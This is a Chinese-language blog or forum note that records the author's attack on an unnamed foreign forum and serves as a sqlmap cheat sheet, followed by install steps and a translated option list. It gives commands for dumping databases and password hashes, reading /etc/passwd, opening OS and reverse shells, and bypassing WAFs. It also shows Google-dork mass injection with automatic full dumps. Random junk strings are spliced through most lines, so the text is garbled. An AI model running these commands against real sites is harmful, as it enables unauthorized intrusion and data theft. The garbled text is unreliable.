今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
1 O6 n# l$ C6 l6 O+ K$ h7 W% ?sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称8 ]' Y3 n( K. x
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
& y1 o& L: ^- Z( r! X2 }sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
- ^; e# w4 I& x' r8 d/ n$ N7 O: ?
6 K( [* ]5 T2 T* z4 j3 a- u5 ]sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
. w3 o4 F6 t$ _0 X7 W0 P- `6 |8 i0 `0 #获取字段内容& y2 E4 _' G# q: _! I3 F2 E
* r, V2 p4 R& T, s2 ~3 h& v
******************信息获取******************/ k ]0 V. K$ p* S/ Q
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型( Z* C2 a% l+ c( u e
sqlmap -u “http://url/news?id=1″ –users #列数据库用户3 Y0 G% m ]2 I
sqlmap -u “http://url/news?id=1″ –dbs#列数据库. \4 |; Z, Q- N: p* p( `( y5 K/ @
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码' b7 L, S7 i4 {2 |) |$ g5 v2 g4 x
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
' r9 I; J2 ?$ Z7 |* psqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name” o; W' K6 g: {3 s9 W5 Z
–start 1 –stop 20 #列出指定字段,列出20 条" D: Q8 Q7 v4 g: w8 j
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
$ r8 j$ ~ n/ J4 D7 fsqlmap -u “http://url/news?id=1″ –privileges #查看权限
% p+ \' `8 `) Y b- J: f; q1 asqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色, N0 H3 J k& Z. T- a3 o0 r2 p
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
, A$ ?, ]/ o/ [; I7 T! ]7 ]8 m' d3 Vsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表6 D4 H u) `! g# {
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录" j4 h7 e1 H" L
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入% B7 ?7 Y' B, }
sqlmap -u “http://url/news?id=1″-b #获取banner信息
/ b# `) {; @' ?0 `& Osqlmap -u “http://url/news?id=1″ –data “id=3″#post注入; C$ h x1 V# a0 P/ g# A4 Y
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
3 y% T+ U, }! f+ M7 Psqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入5 v; l4 X9 U9 ~, d
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
: u$ U* W' j: R4 tsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
# | ]$ f6 h, K% \) k# Gsqlmap -u “http://url/news?id=1″ –file /etc/passwd+ N; w6 `; z7 ^! B8 j( z. f2 h4 O
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
& U8 o+ {! W) Nsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell7 g+ N, @8 j+ F" Y0 J- W
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
. y W0 G0 ]! ^5 R% Z4 [: T- Csqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
0 x: s. R7 X5 Gsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度, n" q# b' V6 c
***********高级用法*************
" O; C j7 c$ \: k9 i" q6 f-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入- Z: ^" f/ k5 S
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
' R7 h3 j ^& V–technique 测试指定注入类型\使用的技术8 R* v N- }9 ~! a6 T8 T( b. r5 C
不加参数默认测试所有注入技术
6 O0 Q' O) l& E% C% e• B: 基于布尔的SQL 盲注
& }* g; }. l+ ]• E: 基于显错sql 注入2 \: j0 J+ ]5 [' q
• U: 基于UNION 注入+ _/ V& n( s& b, h, m* E5 [' k
• S: 叠层sql 注入
! n0 f9 w5 y& h0 h: U7 i• T: 基于时间盲注
$ n9 x5 |' X0 `4 b( A–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()6 V: x6 a& E+ v1 `' h
–tamper 插件所在目录
9 G3 I! N7 W; z2 ^, Y" V\sqlmap-dev\tamper g7 d- I& O8 y q5 \' w2 C
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
5 C& X' q3 H/ k5 ~level 执行测试等级 攻击实例:; |' y" s- [$ ^
Sqlmap -u “http://url/news?id=1&Submit=Submit”
' h6 F6 u2 Q& S–cookie=”PHPSESSID=41aa833e6d0d+ I. ]% E% m5 p3 w3 i+ Y
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
, p! g* a2 C6 ^- f–password, p# m; s) H& e
参考文档:http://sqlmap.sourceforge.net/doc/README.html7 T9 {# ?, [ c5 B; O
***********安装最新版本*************' ]. u- U! u+ v: N* P3 L) c% `5 c4 v2 T+ n
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版6 y6 w+ C: B7 ~; E& u# B# m
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev& K1 z" ~" p, c/ p# {) q6 [* A
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件; N5 [8 b! q( I% E8 }
sudo vim /home/当前用户/.bashrc
* W$ }( l0 Q( N3 B' s2 y1 J4 g$ ^#任意位置加上:
8 H C( x0 _) I1 |alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
6 `) u5 C! O# Q1 u) y, a+ X如果想对所有用户有效 可设置全局 编辑下面的文件# q* a- `' p- s/ S, u+ s0 [/ c
vim /etc/profile, ^$ Z! j& i P1 n
同样加上:
) @& A, L4 |5 L$ V) J3 }% J3 qalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效5 T. B! U4 F4 _0 g# p* x
******************windows 7 (x64) sqlmap install (SVN)************
: `0 Z- u) U' N* j2 m3 B! dhttp://www.python.org/getit/ 安装python1 O; a9 M1 N0 u! e! |
http://www.sliksvn.com/en/download 安装windows svn client
, F4 Q0 `7 D( H) q( K8 N* ]9 J- Osvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev2 G5 n7 z$ i v& C; L2 o" n
安装sqlmap: o9 J5 M7 ~2 {7 A2 _7 a$ g4 z
*修改环境变量
h- V T T8 d5 v–version 显示程序的版本号并退出
3 O) O4 q, y: y5 I: s' I. o" u-h, –help 显示此帮助消息并退出; K2 b# w* z+ [. S0 @2 d& s
-v VERBOSE 详细级别:0-6(默认为1)) ]2 ^) n, w) [& l
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。/ u# `5 [9 J+ J h; ?/ n7 m
-d DIRECT 直接连接到数据库。
& x) M) s! [4 y-u URL, –url=URL 目标URL。- ]* G; Z+ N3 R; G4 k; L
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。! J+ d3 W, O$ W& }" t
-r REQUESTFILE 从一个文件中载入HTTP 请求。
; u: }7 o2 M& \4 y- y" n-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
6 C% w$ |, V# ?# G6 _9 z-c CONFIGFILE 从INI 配置文件中加载选项。) C- y- o+ k# p0 D0 `: e9 \
Request(请求)::
; O7 @- R! h" _0 |" ?7 T这些选项可以用来指定如何连接到目标URL。
8 ~- m, t" m# c) O( u# j( n* ?–data=DATA 通过POST 发送的数据字符串5 c, O4 r: S- S% X
–cookie=COOKIE HTTP Cookie 头7 l- V& U' V; ^* n$ _1 D# [
–cookie-urlencode URL 编码生成的cookie 注入
% b" h T2 N2 a# @" X–drop-set-cookie 忽略响应的Set –Cookie 头信息0 d, B: r7 o5 e0 u" g
3 z8 ], L- c- `& Q5 a4 t2 L–user-agent=AGENT 指定 HTTP User –Agent 头
- N5 |# N$ m5 x5 Y–random-agent 使用随机选定的HTTP User –Agent 头8 k: W! k2 E' y. S ?
–referer=REFERER 指定 HTTP Referer 头
: J0 L. C7 v! k; N' j( w–headers=HEADERS 换行分开,加入其他的HTTP 头
. ?$ I- G3 d0 G* o2 e+ n9 [–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
& w0 O1 @' G8 k$ d–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码) a$ Q" Z% q. T5 r+ u
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)& q6 C! P9 l' }6 D) Y
–proxy=PROXY 使用HTTP 代理连接到目标URL
* j7 Y) ]" V% p. n& n–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)# T! b/ m% F H H% Y# @
–ignore-proxy 忽略系统默认的HTTP 代理
8 a) s t) I% U6 S0 f–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒4 y- W( P! |4 s: l, d. t' v
–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)8 z: k/ O! M2 V+ W* `
–retries=RETRIES 连接超时后重新连接的时间(默认3)
% s; K/ `! S* p! d$ c–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式9 w$ M0 s, Q, j: [: L H9 u, W
–safe-url=SAFURL 在测试过程中经常访问的url 地址. W( y( c7 u% ]" l2 ~1 Q9 K
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
# R9 A5 H9 n0 r1 J( U, \4 C/ uOptimization(优化): 这些选项可用于优化SqlMap 的性能。0 T6 g2 [ g. p9 k; c
-o 开启所有优化开关
|- L1 @, P6 ^' h, o–predict-output 预测常见的查询输出
+ ~; ]1 x; ~$ A; r. y–keep-alive 使用持久的HTTP(S)连接2 |5 ~) I r" J8 N1 X
–null-connection 从没有实际的HTTP 响应体中检索页面长度; v; n3 F7 x {" q
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
8 c- L% Y' X, Z) @( MInjection(注入):; p! _1 V, [, T1 M' B; \
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
1 G& f3 i3 b: ]-p TESTPARAMETER 可测试的参数(S)8 z- o' c$ a. J! z6 u
–dbms=DBMS 强制后端的DBMS 为此值
# I: {: _! a; |% e–os=OS 强制后端的DBMS 操作系统为这个值
0 t% K0 Y1 S( h2 z- k+ Y, S5 Y–prefix=PREFIX 注入payload 字符串前缀4 \( c; f% G% v) H
–suffix=SUFFIX 注入 payload 字符串后缀
c" h$ m; L/ F1 K6 p2 r4 A6 }) I5 F–tamper=TAMPER 使用给定的脚本(S)篡改注入数据8 t$ t* B* E1 R+ C" e( L" r
Detection(检测):% \0 Y4 p6 n3 x2 b
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。6 g9 Z7 A$ D6 P8 [$ I6 A3 ~6 G# G
–level=LEVEL 执行测试的等级(1-5,默认为1)7 \, h' R' `) K) v" `. g! v
–risk=RISK 执行测试的风险(0-3,默认为1)
, Z2 {+ C* C. ^$ L4 x* x–string=STRING 查询时有效时在页面匹配字符串
$ ~, h2 {0 a$ h, k& v–regexp=REGEXP 查询时有效时在页面匹配正则表达式
$ {4 m: e G6 x+ _- l0 W3 |+ k–text-only 仅基于在文本内容比较网页; f, I6 S! v7 e3 G
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
. }# E. ~ ~5 ]2 |8 D( [–technique=TECH SQL 注入技术测试(默认BEUST)
! Z. X6 \0 j3 ~% |3 X4 E8 i–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)0 ^$ Q3 a4 {) m1 U: W1 e
–union-cols=UCOLS 定列范围用于测试UNION 查询注入2 m D; y9 j" d2 ?8 Y9 o* k; t
–union-char=UCHAR 用于暴力猜解列数的字符9 S, t8 o C6 h+ t; B4 _
Fingerprint(指纹):; V# Y" u+ z- F5 t4 H
-f, –fingerprint 执行检查广泛的DBMS 版本指纹- z( J; J: [7 |; I8 E/ x
Enumeration(枚举):
6 ?; L5 p" j7 D! {" O6 I' A# V
1 O7 j( l% J; Q这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
. q( o5 @8 q1 V: L2 Q5 R) K-b, –banner 检索数据库管理系统的标识; I) e; d! ~7 j7 r' N
–current-user 检索数据库管理系统当前用户
5 h8 x2 d7 M3 ]1 x–current-db 检索数据库管理系统当前数据库
2 g" z, A! h) W& F–is-dba 检测DBMS 当前用户是否DBA
! }0 _" C/ c3 R5 {% J2 e–users 枚举数据库管理系统用户
u" a" @! I. g, E M–passwords 枚举数据库管理系统用户密码哈希' O$ b8 s5 V6 n7 K1 i; A7 ?
–privileges 枚举数据库管理系统用户的权限
, ^: }" H7 a7 L- P–roles 枚举数据库管理系统用户的角色/ W& d4 D0 z4 J* S
–dbs 枚举数据库管理系统数据库 i$ B" {4 t+ D$ i% o0 n
–tables 枚举的DBMS 数据库中的表0 u6 c O6 b7 }
–columns 枚举DBMS 数据库表列
, D. ] x5 K( W' q–dump 转储数据库管理系统的数据库中的表项
6 F; [% y" r/ D- u; a–dump-all 转储所有的DBMS 数据库表中的条目
2 j, f2 J2 X" ^8 }( |( ~6 ?–search 搜索列(S),表(S)和/或数据库名称(S)9 K1 A+ |' {# W' f5 A! J" U
-D DB 要进行枚举的数据库名
! P# Y P* c9 E' r2 O-T TBL 要进行枚举的数据库表 \+ Q9 I+ i: ^; {% e/ g; v7 b
-C COL 要进行枚举的数据库列' \5 R2 ~$ K# S# _
-U USER 用来进行枚举的数据库用户" z1 _, n- r4 t1 W
–exclude-sysdbs 枚举表时排除系统数据库; Y1 k) t6 a" u* ^
–start=LIMITSTART 第一个查询输出进入检索7 [5 r* R3 A$ R& \9 @9 r! |7 s( M
–stop=LIMITSTOP 最后查询的输出进入检索
9 n9 V9 M* F3 T8 b7 k9 m–first=FIRSTCHAR 第一个查询输出字的字符检索/ ~ G: w) e( g1 J g8 Z5 Z$ L
–last=LASTCHAR 最后查询的输出字字符检索- s0 n3 \& E4 c6 k5 |
–sql-query=QUERY 要执行的SQL 语句
+ O2 y+ L, H9 u$ s, [3 H' g5 l: s6 d+ m–sql-shell 提示交互式SQL 的shell
! V! [. q/ l$ fBrute force(蛮力): 这些选项可以被用来运行蛮力检查。% Z8 J# Q: r2 v3 v
–common-tables 检查存在共同表. }4 C+ g) {4 D. d
–common-columns 检查存在共同列; g- K: \) U8 y2 h* E1 {8 x9 _
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。 O9 ?- U. d Q
–udf-inject 注入用户自定义函数* \8 y/ ]5 w T. P5 W
–shared-lib=SHLIB 共享库的本地路径- }$ f* c' K- ?" C, g+ L
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
+ _* _& `$ \0 ~1 T/ t( h–file-read=RFILE 从后端的数据库管理系统文件系统读取文件3 U/ p6 t; N( j& T5 \
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件: R$ u2 O8 I* {% @
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径' q2 D! @' P% L0 a# f
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。2 \# ?' N2 [% D3 J6 z
–os-cmd=OSCMD 执行操作系统命令- \# n0 D/ X, g1 q& T8 a+ \7 `
–os-shell 交互式的操作系统的shell
8 [; V8 Z6 O7 i! s5 ~' _$ [9 Z–os-pwn 获取一个OOB shell,meterpreter 或VNC6 u* d" M9 f% [7 ?
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC8 f G |; I) A/ R! A
–os-bof 存储过程缓冲区溢出利用
( M+ l* u! ^8 }, p–priv-esc 数据库进程用户权限提升
0 y; G- Y$ U9 q% U _( P& X–msf-path=MSFPATH Metasploit Framework 本地的安装路径
& G; x, z ~1 P4 X–tmp-path=TMPPATH 远程临时文件目录的绝对路径
8 ~0 ]/ ~! f* V) A" m & V2 ^5 g8 d& K& {+ ~% ?
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
9 ]+ t8 V: T1 B) T0 D( _# }–reg-read 读一个Windows 注册表项值
& o& q4 a8 R5 B A0 A–reg-add 写一个Windows 注册表项值数据
2 W# H( X( G$ k! j8 o0 O–reg-del 删除Windows 注册表键值
$ b, V* L" E6 Q# U2 y3 S9 P–reg-key=REGKEY Windows 注册表键+ G) }# l3 x$ m0 c7 u
–reg-value=REGVAL Windows 注册表项值
9 n Q! J& D5 m* H8 o–reg-data=REGDATA Windows 注册表键值数据
7 V5 d! L* b( q0 F8 v–reg-type=REGTYPE Windows 注册表项值类型
7 T/ x. ~% I# C7 _3 W6 O6 ~General(一般): 这些选项可以用来设置一些一般的工作参数。
/ j0 B! |5 o0 S5 Y: W. R-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
! D# C0 W" m+ H/ ^& D ?0 l-s SESSIONFILE 保存和恢复检索会话文件的所有数据& N2 b( v( q* K" w/ y
–flush-session 刷新当前目标的会话文件
+ u+ k+ ~* Q. l% y–fresh-queries 忽略在会话文件中存储的查询结果
( Q+ |4 m3 L& L% a N–eta 显示每个输出的预计到达时间
* [6 C p5 g, S, s4 K; X–update 更新SqlMap* M# x! w9 Q! s* O
–save file 保存选项到INI 配置文件
3 g9 M+ ?+ c% ?/ _–batch 从不询问用户输入,使用所有默认配置。
6 w9 w3 s. p0 {8 V( l/ M. nMiscellaneous(杂项):
1 G3 A$ H: z0 h–beep 发现SQL 注入时提醒
# z& C/ g- K0 i/ S% A- S) \* t–check-payload IDS 对注入payloads 的检测测试
+ R+ r$ Z+ ^/ {0 x x R–cleanup SqlMap 具体的UDF 和表清理DBMS
2 M5 F, c0 t% |, o–forms 对目标URL 的解析和测试形式9 ?7 q, v2 i [1 a6 Q% L
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果8 x& d( D# S2 l3 `) L3 D8 Z7 z5 z4 y* F
–page-rank Google dork 结果显示网页排名(PR)0 j) G. O; w5 p1 K, X4 L% d1 X5 K# a
–parse-errors 从响应页面解析数据库管理系统的错误消息
/ u3 K* N# v8 i9 I/ l/ s–replicate 复制转储的数据到一个sqlite3 数据库+ [; T. g0 N- \1 X1 \* C
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址3 ]' z4 C* I/ U8 M
–wizard 给初级用户的简单向导界面 |